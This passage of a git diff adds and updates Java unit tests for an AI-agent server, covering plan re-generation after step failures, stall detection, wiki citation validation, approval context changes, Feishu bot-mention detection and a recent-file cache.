a/mateclaw-server/src/test/java/vip/mate/agent/graph/plan/node/StepExecutionReplanContextTest.java b/mateclaw-server/src/test/java/vip/mate/agent/graph/plan/node/StepExecutionReplanContextTest.java new file mode 100644 index 00000000..ec680962 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/agent/graph/plan/node/StepExecutionReplanContextTest.java @@ -0,0 +1,66 @@ +package vip.mate.agent.graph.plan.node; + +import com.alibaba.cloud.ai.graph.OverAllState; +import org.junit.jupiter.api.Test; +import vip.mate.agent.graph.plan.state.PlanStateAccessor; +import vip.mate.agent.graph.plan.state.PlanStateKeys; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Verifies the re-plan context that StepExecutionNode hands to the next + * PlanGeneration pass after a step fails: it must preserve the completed work + * (carried in WORKING_CONTEXT) and append the failed step + error so the + * planner can route around it. + */ +class StepExecutionReplanContextTest { + + private PlanStateAccessor accessor(String workingContext, List steps) { + Map vals = new HashMap<>(); + vals.put(PlanStateKeys.WORKING_CONTEXT, workingContext); + vals.put(PlanStateKeys.PLAN_STEPS, steps); + return new PlanStateAccessor(new OverAllState(vals)); + } + + @Test + void replanContext_preservesPriorWork_andDescribesFailure() { + PlanStateAccessor a = accessor( + "已完成:步骤1 读取配置完成", + List.of("读取配置", "迁移数据", "验证结果")); + + String ctx = StepExecutionNode.buildReplanContext(a, 1, "connection timeout"); + + // Prior completed work is carried forward. + assertTrue(ctx.contains("已完成:步骤1 读取配置完成")); + // The failed step (1-based) + its title + the error are described. + assertTrue(ctx.contains("步骤 2")); + assertTrue(ctx.contains("迁移数据")); + assertTrue(ctx.contains("connection timeout")); + // Instructs the planner not to redo completed work. + assertTrue(ctx.contains("不要重复")); + } + + @Test + void replanContext_handlesEmptyPriorContext() { + PlanStateAccessor a = accessor("", List.of("only step")); + String ctx = StepExecutionNode.buildReplanContext(a, 0, "boom"); + // No leading blank separator when there was no prior context. + assertFalse(ctx.startsWith("\n")); + assertTrue(ctx.contains("步骤 1")); + assertTrue(ctx.contains("only step")); + assertTrue(ctx.contains("boom")); + } + + @Test + void replanContext_toleratesOutOfRangeIndexAndNullError() { + PlanStateAccessor a = accessor("ctx", List.of("a")); + String ctx = StepExecutionNode.buildReplanContext(a, 5, null); + assertTrue(ctx.contains("步骤 6")); + assertTrue(ctx.contains("未知错误")); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/agent/graph/plan/node/StepProgressTrackerTest.java b/mateclaw-server/src/test/java/vip/mate/agent/graph/plan/node/StepProgressTrackerTest.java new file mode 100644 index 00000000..2b405f2f --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/agent/graph/plan/node/StepProgressTrackerTest.java @@ -0,0 +1,74 @@ +package vip.mate.agent.graph.plan.node; + +import org.junit.jupiter.api.Test; + +import java.util.Optional; + +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Covers the signature-based stall detection: graduated WARN nudge then HALT + * for repeated identical results, repeated identical failing calls, and a tool + * that keeps failing across different arguments. + */ +class StepProgressTrackerTest { + + @Test + void identicalResults_warnThenHalt_noProgress() { + StepProgressTracker t = new StepProgressTracker(); + // result is a success payload (not a failure marker) -> pure no-progress + assertTrue(t.record("search_files", "{\"q\":\"x\"}", "found 0 matches list A").isEmpty(), "1st: no warn"); + assertTrue(t.record("search_files", "{\"q\":\"x\"}", "found 0 matches list A").isPresent(), "2nd: WARN nudge"); + assertFalse(t.isStuck(), "not stuck at WARN"); + assertTrue(t.record("search_files", "{\"q\":\"x\"}", "found 0 matches list A").isEmpty(), "3rd: nudge de-duped"); + t.record("search_files", "{\"q\":\"x\"}", "found 0 matches list A"); // 4th -> HALT + assertTrue(t.isStuck(), "stuck at HALT threshold"); + assertTrue(t.haltReason().startsWith("no_progress")); + } + + @Test + void sameCallFailing_warnThenHalt() { + StepProgressTracker t = new StepProgressTracker(); + // same args, distinct error texts -> isolates the same-call-failure path + assertTrue(t.record("read_file", "{\"p\":\"a\"}", "Error: e1").isEmpty()); + assertTrue(t.record("read_file", "{\"p\":\"a\"}", "Error: e2").isPresent(), "2nd failure: WARN"); + assertFalse(t.isStuck()); + t.record("read_file", "{\"p\":\"a\"}", "Error: e3"); + t.record("read_file", "{\"p\":\"a\"}", "Error: e4"); // 4th failure -> HALT + assertTrue(t.isStuck()); + assertTrue(t.haltReason().startsWith("repeated_failure")); + } + + @Test + void sameToolFailingDifferentArgs_warnThenHalt() { + StepProgressTracker t = new StepProgressTracker(); + boolean anyWarn = false; + for (int i = 1; i <= 6; i++) { + Optional n = t.record("terminal", "{\"cmd\":\"c" + i + "\"}", "execution failed: boom" + i); + anyWarn |= n.isPresent(); + } + assertTrue(anyWarn, "should emit a same-tool-failure nudge by the 3rd distinct failure"); + assertTrue(t.isStuck(), "6 distinct failures of the same tool -> HALT"); + } + + @Test + void variedSuccessfulResults_noStall() { + StepProgressTracker t = new StepProgressTracker(); + for (int i = 0; i < 6; i++) { + assertTrue(t.record("web_search", "{\"q\":\"q" + i + "\"}", "result payload number " + i).isEmpty()); + } + assertFalse(t.isStuck(), "distinct successful results never stall"); + } + + @Test + void looksLikeFailure_classification() { + assertTrue(StepProgressTracker.looksLikeFailure(""), "empty is no-progress"); + assertTrue(StepProgressTracker.looksLikeFailure(" "), "blank is no-progress"); + assertTrue(StepProgressTracker.looksLikeFailure("Error: ENOENT: no such file or directory")); + assertTrue(StepProgressTracker.looksLikeFailure("java.util.concurrent.TimeoutException: ...")); + assertTrue(StepProgressTracker.looksLikeFailure("Authentication Failed: Requires authentication")); + assertTrue(StepProgressTracker.looksLikeFailure("未找到匹配的文件")); + assertFalse(StepProgressTracker.looksLikeFailure("Here is the summary of the file: ...")); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/agent/graph/state/SourceEvidenceLedgerTest.java b/mateclaw-server/src/test/java/vip/mate/agent/graph/state/SourceEvidenceLedgerTest.java index fa154e9c..91b5212d 100644 --- a/mateclaw-server/src/test/java/vip/mate/agent/graph/state/SourceEvidenceLedgerTest.java +++ b/mateclaw-server/src/test/java/vip/mate/agent/graph/state/SourceEvidenceLedgerTest.java @@ -149,4 +149,166 @@ class SourceEvidenceLedgerTest { assertFalse(validation.valid()); assertTrue(validation.unsupportedReferences().contains("RandomMadeUpService")); } + + @Test + @DisplayName("records wiki semantic chunks as numbered citations") + void recordsWikiSemanticChunksAsCitations() { + SourceEvidenceLedger ledger = SourceEvidenceLedger.fromToolResponses(List.of( + new ToolResponseMessage.ToolResponse("c1", "wiki_semantic_search", """ + { + "kbId": 7, + "query": "install", + "matchCount": 2, + "chunks": [ + {"index":1,"chunkId":101,"rawTitle":"Install Guide","section":"Linux","pageNumber":12,"snippet":"Use the package manager."}, + {"index":2,"chunkId":102,"rawTitle":"FAQ","snippet":"Restart after install."} + ] + } + """))); + + assertTrue(ledger.hasWikiEvidence()); + assertTrue(ledger.hasWikiCitationIndex(1)); + assertTrue(ledger.hasWikiCitationIndex(2)); + assertFalse(ledger.hasWikiCitationIndex(3)); + } + + @Test + @DisplayName("rejects wiki answers without real numbered citations") + void rejectsWikiAnswerWithoutRealCitations() { + SourceEvidenceLedger ledger = SourceEvidenceLedger.fromToolResponses(List.of( + new ToolResponseMessage.ToolResponse("c1", "wiki_semantic_search", """ + {"chunks":[{"index":1,"chunkId":101,"rawTitle":"Install Guide","snippet":"Use the package manager."}]} + """))); + + SourceEvidenceLedger.Validation noMarker = ledger.validateAnswer("Use the package manager."); + assertFalse(noMarker.valid()); + assertTrue(noMarker.unsupportedReferences().contains("missing wiki citation [n]")); + + SourceEvidenceLedger.Validation unsupportedMarker = ledger.validateAnswer(""" + Use the package manager [2]. + + 来源: + [2] Install Guide + """); + assertFalse(unsupportedMarker.valid()); + assertTrue(unsupportedMarker.unsupportedReferences().contains("wiki citation [2]")); + } + + @Test + @DisplayName("requires wiki source table rows to match retrieved source titles") + void requiresWikiSourceTableToMatchTitles() { + SourceEvidenceLedger ledger = SourceEvidenceLedger.fromToolResponses(List.of( + new ToolResponseMessage.ToolResponse("c1", "wiki_semantic_search", """ + {"chunks":[{"index":1,"chunkId":101,"rawTitle":"Install Guide","section":"Linux","pageNumber":12,"snippet":"Use the package manager."}]} + """))); + + SourceEvidenceLedger.Validation fabricatedTitle = ledger.validateAnswer(""" + Use the package manager [1]. + + 来源: + [1] Made Up Manual + """); + assertFalse(fabricatedTitle.valid()); + assertTrue(fabricatedTitle.unsupportedReferences().contains("wiki source title for [1]")); + + SourceEvidenceLedger.Validation valid = ledger.validateAnswer(""" + Use the package manager [1]. + + 来源: + [1] Install Guide - Linux - page 12 + """); + assertTrue(valid.valid()); + } + + @Test + @DisplayName("renders missing wiki source table for cited chunks") + void rendersWikiSourceTable() { + SourceEvidenceLedger ledger = SourceEvidenceLedger.fromToolResponses(List.of( + new ToolResponseMessage.ToolResponse("c1", "wiki_semantic_search", """ + {"chunks":[{"index":1,"chunkId":101,"rawTitle":"Install Guide","section":"Linux","pageNumber":12,"snippet":"Use the package manager."}]} + """))); + + String rendered = ledger.appendWikiSourceTable("Use the package manager [1]."); + + assertTrue(rendered.contains("来源:")); + assertTrue(rendered.contains("[1] Install Guide - Linux - page 12")); + assertTrue(ledger.validateAnswer(rendered).valid()); + } + + @Test + @DisplayName("normalizes non-canonical source lines to standard format") + void normalizesNonCanonicalSourceLines() { + SourceEvidenceLedger ledger = SourceEvidenceLedger.fromToolResponses(List.of( + new ToolResponseMessage.ToolResponse("c1", "wiki_semantic_search", """ + {"chunks":[{"index":1,"chunkId":101,"rawTitle":"Install Guide","section":"Linux","pageNumber":12,"snippet":"Use the package manager."}]} + """))); + + String rendered = ledger.appendWikiSourceTable(""" + Use the package manager [1]. + + 来源: + [1] Install Guide(参考文档) + """); + + assertTrue(rendered.contains("[1] Install Guide - Linux - page 12"), + "non-canonical source line should be normalized: " + rendered); + assertFalse(rendered.contains("(参考文档)"), + "non-canonical text must be removed: " + rendered); + assertTrue(ledger.validateAnswer(rendered).valid()); + } + + @Test + @DisplayName("canonical source line is left unchanged (idempotent)") + void canonicalSourceLineUnchanged() { + SourceEvidenceLedger ledger = SourceEvidenceLedger.fromToolResponses(List.of( + new ToolResponseMessage.ToolResponse("c1", "wiki_semantic_search", """ + {"chunks":[{"index":1,"chunkId":101,"rawTitle":"Install Guide","section":"Linux","pageNumber":12,"snippet":"Use the package manager."}]} + """))); + + String canonical = """ + Use the package manager [1]. + + 来源: + [1] Install Guide - Linux - page 12 + """; + + String rendered = ledger.appendWikiSourceTable(canonical); + assertEquals(canonical, rendered); + } + + @Test + @DisplayName("inserts 来源: header when source lines exist without one") + void insertsSourceHeaderWhenMissing() { + SourceEvidenceLedger ledger = SourceEvidenceLedger.fromToolResponses(List.of( + new ToolResponseMessage.ToolResponse("c1", "wiki_semantic_search", """ + {"chunks":[{"index":1,"chunkId":101,"rawTitle":"MAST-Data数据集","section":"","pageNumber":null,"snippet":"..."}]} + """))); + + String rendered = ledger.appendWikiSourceTable(""" + 根据数据集 [1] 的描述。 + + [1] MAST-Data数据集 + """); + + assertTrue(rendered.contains("来源:"), + "来源: header must be present: " + rendered); + assertTrue(rendered.contains("[1] MAST-Data数据集"), + "source line content must be preserved: " + rendered); + assertTrue(ledger.validateAnswer(rendered).valid()); + } + + @Test + @DisplayName("non-wiki tool JSON with a top-level title does not create wiki citations") + void nonWikiToolWithTitleDoesNotForceCitations() { + // getGoalStatus returns a top-level "title" field; it must not be mined as a + // wiki citation, otherwise a final answer with no [n] markers would be wrongly + // flagged EVIDENCE_INSUFFICIENT. + SourceEvidenceLedger ledger = SourceEvidenceLedger.fromToolResponses(List.of( + new ToolResponseMessage.ToolResponse("c1", "getGoalStatus", """ + {"active":true,"goalId":"42","title":"Ship the release","status":"in_progress"} + """))); + + assertFalse(ledger.hasWikiEvidence()); + assertTrue(ledger.validateAnswer("The release is on track.").valid()); + } } diff --git a/mateclaw-server/src/test/java/vip/mate/approval/ApprovalReplayContinuityTest.java b/mateclaw-server/src/test/java/vip/mate/approval/ApprovalReplayContinuityTest.java index 2411b4fe..4da63d74 100644 --- a/mateclaw-server/src/test/java/vip/mate/approval/ApprovalReplayContinuityTest.java +++ b/mateclaw-server/src/test/java/vip/mate/approval/ApprovalReplayContinuityTest.java @@ -44,7 +44,8 @@ class ApprovalReplayContinuityTest { /* cronOrigin */ false, /* senderName */ "Alice", /* channelType */ "wecom", - /* chatId */ "group-a"); + /* chatId */ "group-a", + /* baseUrl */ null); String json = objectMapper.writeValueAsString(original); ChatOrigin restored = workflow.restoreChatOrigin(json); diff --git a/mateclaw-server/src/test/java/vip/mate/approval/grant/ApprovalGrantResolverTest.java b/mateclaw-server/src/test/java/vip/mate/approval/grant/ApprovalGrantResolverTest.java index a880e418..c7101c71 100644 --- a/mateclaw-server/src/test/java/vip/mate/approval/grant/ApprovalGrantResolverTest.java +++ b/mateclaw-server/src/test/java/vip/mate/approval/grant/ApprovalGrantResolverTest.java @@ -112,7 +112,7 @@ class ApprovalGrantResolverTest { void null_workspace_id_falls_back_to_human() { ToolInvocationContext ctx = new ToolInvocationContext( "tool", java.util.Map.of(), "touch /tmp/x", "conv-1", "agent-1", - null, "user-1", /* workspaceId */ null); + null, "user-1", /* workspaceId */ null, /* workspaceBasePath */ null); var r = resolver.tryAutoApprove(ctx, evaluationWith(GuardSeverity.MEDIUM, "shell.exec")); assertThat(r.isRequiresHuman()).isTrue(); @@ -229,7 +229,8 @@ class ApprovalGrantResolverTest { private static ToolInvocationContext ctxWithArgs(String args) { return new ToolInvocationContext( "execute_shell_command", java.util.Map.of(), args, - "conv-1", "agent-1", null, "user-1", /* workspaceId */ 100L); + "conv-1", "agent-1", null, "user-1", /* workspaceId */ 100L, + /* workspaceBasePath */ null); } /** Builds a minimal GuardFinding using the 10-arg constructor (no decision / metadata). */ diff --git a/mateclaw-server/src/test/java/vip/mate/architecture/GoalStateKeyDoubleRegistrationTest.java b/mateclaw-server/src/test/java/vip/mate/architecture/GoalStateKeyDoubleRegistrationTest.java index 71fc80e1..bb4ba9c1 100644 --- a/mateclaw-server/src/test/java/vip/mate/architecture/GoalStateKeyDoubleRegistrationTest.java +++ b/mateclaw-server/src/test/java/vip/mate/architecture/GoalStateKeyDoubleRegistrationTest.java @@ -34,6 +34,7 @@ class GoalStateKeyDoubleRegistrationTest { "GOAL_FOLLOWUP_INJECTED", "GOAL_FOLLOWUP_PROMPT", "GOAL_EVALUATED_THIS_RUN", + "GOAL_HARD_CONTINUATION_COUNT", }; @Test diff --git a/mateclaw-server/src/test/java/vip/mate/channel/feishu/FeishuMentionTest.java b/mateclaw-server/src/test/java/vip/mate/channel/feishu/FeishuMentionTest.java index 53d03551..8037cded 100644 --- a/mateclaw-server/src/test/java/vip/mate/channel/feishu/FeishuMentionTest.java +++ b/mateclaw-server/src/test/java/vip/mate/channel/feishu/FeishuMentionTest.java @@ -1,13 +1,17 @@ package vip.mate.channel.feishu; +import com.fasterxml.jackson.databind.ObjectMapper; import com.lark.oapi.service.im.v1.model.MentionEvent; import com.lark.oapi.service.im.v1.model.UserId; import org.junit.jupiter.api.Test; +import vip.mate.channel.ChannelMessageRouter; +import vip.mate.channel.model.ChannelEntity; import java.util.List; import java.util.Map; import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.Mockito.mock; class FeishuMentionTest { @@ -18,42 +22,148 @@ class FeishuMentionTest { @Test void event_nullMentions_returnsFalse() { - assertFalse(FeishuChannelAdapter.eventMentionsContainBot(null, BOT_ID)); + assertFalse(FeishuChannelAdapter.eventMentionsContainBot(null, BOT_ID, null)); } @Test void event_emptyMentions_returnsFalse() { - assertFalse(FeishuChannelAdapter.eventMentionsContainBot(new MentionEvent[0], BOT_ID)); + assertFalse(FeishuChannelAdapter.eventMentionsContainBot(new MentionEvent[0], BOT_ID, null)); } @Test void event_nullBotOpenId_returnsFalse() { MentionEvent mention = mentionEvent(BOT_ID); - assertFalse(FeishuChannelAdapter.eventMentionsContainBot(new MentionEvent[]{mention}, null)); + assertFalse(FeishuChannelAdapter.eventMentionsContainBot(new MentionEvent[]{mention}, null, null)); } @Test void event_botIsMentioned_returnsTrue() { MentionEvent mention = mentionEvent(BOT_ID); - assertTrue(FeishuChannelAdapter.eventMentionsContainBot(new MentionEvent[]{mention}, BOT_ID)); + assertTrue(FeishuChannelAdapter.eventMentionsContainBot(new MentionEvent[]{mention}, BOT_ID, null)); } @Test void event_onlyOtherUserMentioned_returnsFalse() { MentionEvent mention = mentionEvent(OTHER_ID); - assertFalse(FeishuChannelAdapter.eventMentionsContainBot(new MentionEvent[]{mention}, BOT_ID)); + assertFalse(FeishuChannelAdapter.eventMentionsContainBot(new MentionEvent[]{mention}, BOT_ID, null)); } @Test void event_botAmongMultipleMentions_returnsTrue() { MentionEvent[] mentions = {mentionEvent(OTHER_ID), mentionEvent(BOT_ID)}; - assertTrue(FeishuChannelAdapter.eventMentionsContainBot(mentions, BOT_ID)); + assertTrue(FeishuChannelAdapter.eventMentionsContainBot(mentions, BOT_ID, null)); } @Test void event_mentionWithNullId_skippedSafely() { MentionEvent mention = MentionEvent.newBuilder().key("@_user_xxx").build(); // no id set - assertFalse(FeishuChannelAdapter.eventMentionsContainBot(new MentionEvent[]{mention}, BOT_ID)); + assertFalse(FeishuChannelAdapter.eventMentionsContainBot(new MentionEvent[]{mention}, BOT_ID, null)); + } + + // ==================== eventMentionsContainBot: 多 ID 体系 + name 命中 ==================== + + @Test + void event_matchByUnionId_returnsTrue() { + UserId id = UserId.newBuilder().unionId("on_union_777").build(); + MentionEvent mention = MentionEvent.newBuilder().id(id).build(); + assertTrue(FeishuChannelAdapter.eventMentionsContainBot(new MentionEvent[]{mention}, "on_union_777", null)); + } + + @Test + void event_matchByUserId_returnsTrue() { + UserId id = UserId.newBuilder().userId("u_555").build(); + MentionEvent mention = MentionEvent.newBuilder().id(id).build(); + assertTrue(FeishuChannelAdapter.eventMentionsContainBot(new MentionEvent[]{mention}, "u_555", null)); + } + + @Test + void event_matchByName_returnsTrue() { + // No matching id, but the mention name equals the bot's display name. + MentionEvent mention = MentionEvent.newBuilder().id(UserId.newBuilder().openId(OTHER_ID).build()) + .name("MateBot").build(); + assertTrue(FeishuChannelAdapter.eventMentionsContainBot(new MentionEvent[]{mention}, BOT_ID, "MateBot")); + } + + @Test + void event_noIdNoNameMatch_returnsFalse() { + MentionEvent mention = MentionEvent.newBuilder().id(UserId.newBuilder().openId(OTHER_ID).build()) + .name("Somebody").build(); + assertFalse(FeishuChannelAdapter.eventMentionsContainBot(new MentionEvent[]{mention}, BOT_ID, "MateBot")); + } + + // ==================== detectBotMentionWithLearning: 别名学习(有状态) ==================== + + @Test + void learning_aliasMissedBeforeLearn_thenHitsAfterDualDelivery() { + FeishuChannelAdapter adapter = newAdapter(); + String alias = "ou_group_alias_001"; + String chatA = "oc_chatA"; + + // 学习前:群内别名单独到达,botOpenId/botName 都匹配不上 → 漏检。 + assertFalse(adapter.detectBotMentionWithLearning( + new MentionEvent[]{mentionEvent(alias)}, chatA, "m_pre", BOT_ID, null)); + + // 双投递:同一 messageId 先来别名(不匹配),后来全局身份(匹配)→ 聚合学习。 + assertFalse(adapter.detectBotMentionWithLearning( + new MentionEvent[]{mentionEvent(alias)}, chatA, "m_dual", BOT_ID, null)); + assertTrue(adapter.detectBotMentionWithLearning( + new MentionEvent[]{mentionEvent(BOT_ID)}, chatA, "m_dual", BOT_ID, null)); + + // 学习后:同群再次只收到别名 → 命中。 + assertTrue(adapter.detectBotMentionWithLearning( + new MentionEvent[]{mentionEvent(alias)}, chatA, "m_post", BOT_ID, null)); + } + + @Test + void learning_aliasIsolatedPerChat() { + FeishuChannelAdapter adapter = newAdapter(); + String alias = "ou_group_alias_001"; + String chatA = "oc_chatA"; + String chatB = "oc_chatB"; + + // 在 A 群学到别名。 + adapter.detectBotMentionWithLearning(new MentionEvent[]{mentionEvent(alias)}, chatA, "m1", BOT_ID, null); + adapter.detectBotMentionWithLearning(new MentionEvent[]{mentionEvent(BOT_ID)}, chatA, "m1", BOT_ID, null); + assertTrue(adapter.detectBotMentionWithLearning( + new MentionEvent[]{mentionEvent(alias)}, chatA, "m2", BOT_ID, null)); + + // B 群从未学习该别名 → 不泄漏,仍漏检。 + assertFalse(adapter.detectBotMentionWithLearning( + new MentionEvent[]{mentionEvent(alias)}, chatB, "m3", BOT_ID, null)); + } + + @Test + void learning_coMentionedHumanNotLearnedAsAlias() { + FeishuChannelAdapter adapter = newAdapter(); + String human = "ou_human_alice"; + String chatA = "oc_chatA"; + + // @bot @alice 在同一次投递:bot 用全局身份命中(返回 true), + // 但被同时 @ 的人不能被学成 bot 别名。 + assertTrue(adapter.detectBotMentionWithLearning( + new MentionEvent[]{mentionEvent(BOT_ID), mentionEvent(human)}, chatA, "m_co", BOT_ID, null)); + + // 之后只 @ 那个人的消息,绝不能被误判为 @bot。 + assertFalse(adapter.detectBotMentionWithLearning( + new MentionEvent[]{mentionEvent(human)}, chatA, "m_human", BOT_ID, null)); + } + + // ==================== mention tracker TTL ==================== + + @Test + void tracker_staleEntriesEvictedByTtl() { + Map tracker = new java.util.concurrent.ConcurrentHashMap<>(); + FeishuChannelAdapter.MentionTrack track = new FeishuChannelAdapter.MentionTrack(); + tracker.put("m1", track); + + long ttl = 60_000L; + // now == createdAt → 未过期,保留。 + FeishuChannelAdapter.evictStaleTracks(tracker, track.createdAtMs, ttl); + assertEquals(1, tracker.size()); + + // now 超过 createdAt + ttl → 过期,淘汰。 + FeishuChannelAdapter.evictStaleTracks(tracker, track.createdAtMs + ttl + 1, ttl); + assertEquals(0, tracker.size()); } // ==================== webhookMentionsContainBot ==================== @@ -139,6 +249,19 @@ class FeishuMentionTest { // ==================== helpers ==================== + private static FeishuChannelAdapter newAdapter() { + ChannelEntity e = new ChannelEntity(); + e.setId(1L); + e.setChannelType("feishu"); + e.setConfigJson("{\"app_id\":\"x\",\"app_secret\":\"y\"}"); + return new FeishuChannelAdapter( + e, + mock(ChannelMessageRouter.class), + new ObjectMapper(), + null, null, null, null, null, null, + null); + } + private static MentionEvent mentionEvent(String openId) { UserId userId = UserId.newBuilder().openId(openId).build(); return MentionEvent.newBuilder().id(userId).build(); diff --git a/mateclaw-server/src/test/java/vip/mate/channel/feishu/FeishuRecentFileCacheTest.java b/mateclaw-server/src/test/java/vip/mate/channel/feishu/FeishuRecentFileCacheTest.java new file mode 100644 index 00000000..d73c9b4e --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/channel/feishu/FeishuRecentFileCacheTest.java @@ -0,0 +1,273 @@ +package vip.mate.channel.feishu; + +import com.fasterxml.jackson.databind.ObjectMapper; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.io.TempDir; +import vip.mate.channel.ChannelMessageRouter; +import vip.mate.channel.model.ChannelEntity; +import vip.mate.workspace.conversation.model.MessageContentPart; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.attribute.FileTime; +import java.util.ArrayList; +import java.util.List; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.Mockito.mock; + +/** + * Unit tests for the per-chat recent-file cache: + * + *

      + *
    • {@link FeishuChannelAdapter#loadRecentFilesFromDisk(Path, long)} — disk scan with + * explicit dir and TTL cutoff so tests never touch the real filesystem or depend on + * wall-clock time.
    • + *
    • {@link FeishuChannelAdapter#injectRecentFiles} — Caffeine cache-hit and cache-miss + * (disk fallback) paths, duplicate dedup, image vs file part typing.
    • + *
    + */ +class FeishuRecentFileCacheTest { + + // ==================== helpers ==================== + + private static FeishuChannelAdapter newAdapter() { + ChannelEntity e = new ChannelEntity(); + e.setId(1L); + e.setChannelType("feishu"); + e.setConfigJson("{\"app_id\":\"cli_test\",\"app_secret\":\"x\"}"); + return new FeishuChannelAdapter( + e, mock(ChannelMessageRouter.class), new ObjectMapper(), + null, null, null, null, null, null, null); + } + + /** Write a tiny file and stamp its last-modified time. */ + private static Path touch(Path dir, String name, long lastModifiedMs) throws IOException { + Path file = dir.resolve(name); + Files.writeString(file, "x"); + Files.setLastModifiedTime(file, FileTime.fromMillis(lastModifiedMs)); + return file; + } + + private static final long NOW = System.currentTimeMillis(); + private static final long FIVE_MIN_AGO = NOW - 5 * 60_000L; + private static final long TEN_MIN_AGO = NOW - 10 * 60_000L; + private static final long OLD = NOW - 90 * 60_000L; // > 60-min TTL + + // ==================== loadRecentFilesFromDisk ==================== + + @Test + void loadFromDisk_nonExistentDir_returnsEmpty(@TempDir Path tmp) { + FeishuChannelAdapter a = newAdapter(); + List result = + a.loadRecentFilesFromDisk(tmp.resolve("no-such"), NOW - 60 * 60_000L); + assertTrue(result.isEmpty()); + } + + @Test + void loadFromDisk_emptyDir_returnsEmpty(@TempDir Path tmp) throws IOException { + Path dir = tmp.resolve("chat"); Files.createDirectories(dir); + FeishuChannelAdapter a = newAdapter(); + assertTrue(a.loadRecentFilesFromDisk(dir, NOW - 60 * 60_000L).isEmpty()); + } + + @Test + void loadFromDisk_freshFiles_returnedSortedNewestFirst(@TempDir Path tmp) throws IOException { + Path dir = tmp.resolve("chat"); Files.createDirectories(dir); + touch(dir, "1000000000001_a.txt", TEN_MIN_AGO); + touch(dir, "1000000000002_b.txt", FIVE_MIN_AGO); + + FeishuChannelAdapter a = newAdapter(); + long cutoff = NOW - 60 * 60_000L; + List result = a.loadRecentFilesFromDisk(dir, cutoff); + + assertEquals(2, result.size()); + // newest first + assertEquals("b.txt", result.get(0).fileName()); + assertEquals("a.txt", result.get(1).fileName()); + } + + @Test + void loadFromDisk_staleFiles_excluded(@TempDir Path tmp) throws IOException { + Path dir = tmp.resolve("chat"); Files.createDirectories(dir); + touch(dir, "1000000000001_old.txt", OLD); + + FeishuChannelAdapter a = newAdapter(); + long cutoff = NOW - 60 * 60_000L; + assertTrue(a.loadRecentFilesFromDisk(dir, cutoff).isEmpty()); + } + + @Test + void loadFromDisk_mixFreshAndStale_onlyFreshReturned(@TempDir Path tmp) throws IOException { + Path dir = tmp.resolve("chat"); Files.createDirectories(dir); + touch(dir, "1000000000001_fresh.pdf", FIVE_MIN_AGO); + touch(dir, "1000000000002_stale.pdf", OLD); + + FeishuChannelAdapter a = newAdapter(); + long cutoff = NOW - 60 * 60_000L; + List result = a.loadRecentFilesFromDisk(dir, cutoff); + + assertEquals(1, result.size()); + assertEquals("fresh.pdf", result.get(0).fileName()); + } + + @Test + void loadFromDisk_moreThan5FreshFiles_cappedAtMax(@TempDir Path tmp) throws IOException { + Path dir = tmp.resolve("chat"); Files.createDirectories(dir); + for (int i = 1; i <= 7; i++) { + touch(dir, "100000000000" + i + "_f" + i + ".txt", FIVE_MIN_AGO - i * 1000L); + } + + FeishuChannelAdapter a = newAdapter(); + long cutoff = NOW - 60 * 60_000L; + List result = a.loadRecentFilesFromDisk(dir, cutoff); + + assertEquals(5, result.size()); // RECENT_FILE_MAX_PER_CHAT + } + + @Test + void loadFromDisk_timestampPrefixStripped(@TempDir Path tmp) throws IOException { + Path dir = tmp.resolve("chat"); Files.createDirectories(dir); + touch(dir, "1777391026594_report.pdf", FIVE_MIN_AGO); + // No-underscore name: no stripping + touch(dir, "plain.pdf", TEN_MIN_AGO); + + FeishuChannelAdapter a = newAdapter(); + long cutoff = NOW - 60 * 60_000L; + List result = a.loadRecentFilesFromDisk(dir, cutoff); + + assertEquals(2, result.size()); + // newest first is the one with timestamp prefix + assertEquals("report.pdf", result.get(0).fileName()); + assertEquals("plain.pdf", result.get(1).fileName()); + } + + @Test + void loadFromDisk_contentTypeGuessingByExtension(@TempDir Path tmp) throws IOException { + Path dir = tmp.resolve("chat"); Files.createDirectories(dir); + touch(dir, "1000000000001_doc.pdf", FIVE_MIN_AGO); + touch(dir, "1000000000002_img.png", TEN_MIN_AGO); + touch(dir, "1000000000003_mystery.xyz", OLD - 1); // stale, should be excluded + + FeishuChannelAdapter a = newAdapter(); + long cutoff = NOW - 60 * 60_000L; + List result = a.loadRecentFilesFromDisk(dir, cutoff); + + assertEquals(2, result.size()); + assertEquals("application/pdf", result.get(0).contentType()); + assertEquals("image/png", result.get(1).contentType()); + } + + // ==================== injectRecentFiles ==================== + + @Test + void injectRecentFiles_cacheHit_injectsFromCache(@TempDir Path tmp) { + FeishuChannelAdapter a = newAdapter(); + a.chatUploadsRoot = tmp; // no disk files — only cache should be hit + + String convId = "feishu:oc_test123"; + a.recentFileCache.put(convId, List.of( + new FeishuChannelAdapter.RecentFileEntry("report.pdf", "/tmp/report.pdf", + null, "application/pdf") + )); + + List parts = new ArrayList<>(); + String text = a.injectRecentFiles(convId, parts, "请分析"); + + assertEquals(1, parts.size()); + assertEquals("file", parts.get(0).getType()); + assertEquals("report.pdf", parts.get(0).getFileName()); + assertTrue(text.contains("[用户发送了文件: report.pdf]")); + } + + @Test + void injectRecentFiles_cacheMiss_diskHasFreshFile_fallsBackToDisk(@TempDir Path tmp) throws IOException { + FeishuChannelAdapter a = newAdapter(); + a.chatUploadsRoot = tmp; + + String convId = "feishu:oc_groupX"; + Path convDir = tmp.resolve(convId); + Files.createDirectories(convDir); + Files.writeString(convDir.resolve("1000000000001_summary.txt"), "content"); + + List parts = new ArrayList<>(); + String text = a.injectRecentFiles(convId, parts, "帮我看看"); + + assertEquals(1, parts.size(), "disk fallback should inject the file"); + assertEquals("summary.txt", parts.get(0).getFileName()); + assertTrue(text.contains("[用户发送了文件: summary.txt]")); + } + + @Test + void injectRecentFiles_cacheMiss_diskEmpty_noChange(@TempDir Path tmp) { + FeishuChannelAdapter a = newAdapter(); + a.chatUploadsRoot 